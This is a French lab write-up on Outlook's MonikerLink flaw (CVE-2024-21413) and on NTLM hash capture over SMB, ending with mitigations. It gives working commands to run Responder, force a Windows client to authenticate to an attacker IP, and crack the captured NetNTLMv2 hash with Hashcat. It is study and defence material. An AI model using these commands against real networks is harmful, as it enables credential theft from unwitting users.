Laboratoire SMB + Responder (CVE-2024-21413)

🎯 Objectif

Ce projet avait pour objectif d'étudier la vulnérabilité CVE-2024-21413 (MonikerLink), en explorant comment le protocole SMB/NTLM peut être abusé pour la capture d'identifiants.
Même après le correctif officiel de Microsoft, le laboratoire montre que le concept reste valable dans des scénarios internes.

📖 Exploit Theory

La vulnérabilité (CVE-2024-21413), connue sous le nom de MonikerLink, a été classée comme critique (CVSS 9.8). Elle survient parce qu'Outlook traitait les liens "file://" de manière non sécurisée, en utilisant d'anciennes API COM (Moniker Objects). Ces objets permettaient à Outlook d'appeler des ressources externes sans passer par la Protected View, incitant le client à lancer automatiquement des connexions SMB.

1. Qu'est-ce que Moniker Link ?

C'est une fonctionnalité de Windows qui permet de référencer des objets COM via des liens spéciaux.

2. Comment Outlook traitait file://

L'exploit original abusait des liens "file://" ou des chemins UNC envoyés par e-mail.

3. Comment se produisait le contournement avec "!"

En ajoutant le caractère "!" dans le lien, il était possible de contourner les protections internes d'Outlook, forçant l'ouverture directe de la ressource externe.

4. Comment NTLM était exposé

Cela aboutissait à une authentification NTLM automatique, exposant les hashes NetNTLMv2 à l'attaquant sans interaction significative de l'utilisateur.

5. Ce que corrige le patch

Le patch KB5002519 bloque spécifiquement ce comportement dans Outlook, empêchant les liens "file://" d'être traités de cette manière.

6. Ce que le patch NE corrige PAS

Cependant, le NTLM automatique de Windows continue de fonctionner en dehors du contexte d'Outlook, c'est-à-dire que toute tentative d'accéder à des ressources SMB dans un environnement où NTLM est activé et sans restrictions d'authentification peut encore générer un envoi automatique de hashes.

📌 Relation entre Outlook, SMB/NTLM et Responder Exploit original : via spam d'e-mail avec lien malveillant → Outlook traitait → NTLM s'authentifiait automatiquement → l'attaquant recevait le hash.

Laboratoire interne : nous simulons uniquement la partie conceptuelle → nous forçons manuellement la connexion SMB → Responder capture le hash → Hashcat effectue le cracking.

Pourquoi cela fonctionne-t-il encore ? Parce que NTLM est un protocole hérité qui s'authentifie automatiquement lors des connexions SMB, indépendamment d'Outlook. Le patch corrige le client Outlook, mais n'élimine pas le comportement de NTLM sous Windows.

🏗️ Architecture du Lab

• Attaquant : Kali Linux avec Responder et Hashcat.
• Victime : Windows avec Outlook installé.
• Réseau : LAN simulé, sans exposition externe.
• Outils :
  • Responder → pour l'empoisonnement de protocoles et la capture de hashes.
  • Hashcat → pour le cracking hors ligne des hashes capturés.

🛡️ Patch d'Outlook

Lors des tests, Outlook a bloqué les liens file:// provenant d'un e-mail, affichant une alerte de sécurité :

Remarque

Le patch KB5002519, publié en février 2024, atténue le vecteur externe via e-mail en bloquant les liens file://.
Cependant, le protocole NTLM continue de permettre une authentification automatique lors des connexions SMB.
Cela signifie que, bien qu'Outlook soit protégé contre cet exploit spécifique, la surface d'attaque interne reste valide.
La racine du problème réside dans la dépendance à NTLM comme mécanisme d'authentification, qui reste susceptible à la capture de hashes lors des connexions SMB.

📊 Métriques de risque

• CVE : CVE-2024-21413
• CVSS : 9.8 (Critique)
• Impact : RCE + fuite d'identifiants
• Vecteur : Externe (Outlook) et Interne (SMB/NTLM)
• Atténuation recommandée :
  • Appliquer le patch KB5002519.
  • Désactiver NTLM si possible.
  • Forcer Kerberos dans les environnements AD.
  • Implémenter MFA et des mots de passe forts.

📚 Enseignements

1. Le patch d'Outlook bloque uniquement le clic sur des liens externes.
2. Le SMB/NTLM reste une surface d'attaque au sein du réseau.
3. Les hashes NetNTLMv2 peuvent être capturés et cassés hors ligne.
4. Les mots de passe faibles sont facilement découverts avec des wordlists courantes.
5. Même après le correctif officiel, la vulnérabilité conserve sa pertinence dans les scénarios internes.

📌 Étapes

1. Lancer Responder Ici, nous lançons Responder sur l'interface réseau du Kali. Il agit comme un serveur SMB factice, prêt à répondre aux requêtes de la victime et à capturer les identifiants NTLM. Cette étape est essentielle pour préparer l'environnement d'empoisonnement de protocoles et d'interception. Commande sur Kali Linux :

sudo responder -I eth0

2. Forcer la communication SMB
   Sous Windows, nous accédons manuellement à une ressource SMB pointant vers l'IP de l'attaquant. Cet accès force le client Windows à tenter de s'authentifier automatiquement via NTLM, envoyant le hash au serveur factice (Responder). C'est à ce moment que se produit l'exposition initiale des identifiants. Nous pouvons forcer la communication SMB de deux façons :

Via l'Explorateur, en accédant manuellement à :

\\<IP de l'attaquant>\test

Via le terminal (cmd ou PowerShell), en utilisant la commande :

net use \\<IP de l'attaquant>\test

3. Capture du hash
   Responder intercepte la tentative d'authentification et enregistre le hash NTLMv2 dans un fichier journal sous /usr/share/responder/logs/. Ce fichier contient le matériel brut qui sera utilisé pour le cracking. Nous mettons ici en évidence la vulnérabilité : même sans mot de passe en clair, le hash peut être capturé et réutilisé.

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

4. Cracking avec Hashcat
   Avant d'exécuter Hashcat, nous copions le hash depuis le journal vers un fichier dans notre répertoire home (~/hash.txt). Cela facilite la manipulation et garantit que Hashcat a un accès direct au contenu. Ensuite, nous exécutons Hashcat en mode 5600 (NetNTLMv2) avec la wordlist rockyou.txt. Ce processus tente de casser le hash hors ligne, démontrant comment les mots de passe faibles peuvent être découverts rapidement. Le résultat montre si le mot de passe a été trouvé, mettant en évidence le risque réel de la vulnérabilité.

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt

Remarque :
Le mot de passe réel n'est pas affiché pour des raisons de sécurité. L'objectif est de démontrer le processus et la vulnérabilité.

✅ Conclusion

Ce laboratoire a mis en évidence que :

• L'exploit via Outlook a été bloqué par le patch.
• Il est néanmoins possible de capturer et casser manuellement des hashes SMB.
• La vulnérabilité reste valable en tant que concept, renforçant l'importance du durcissement interne, des mots de passe forts et de la migration vers Kerberos/l'authentification basée sur des jetons.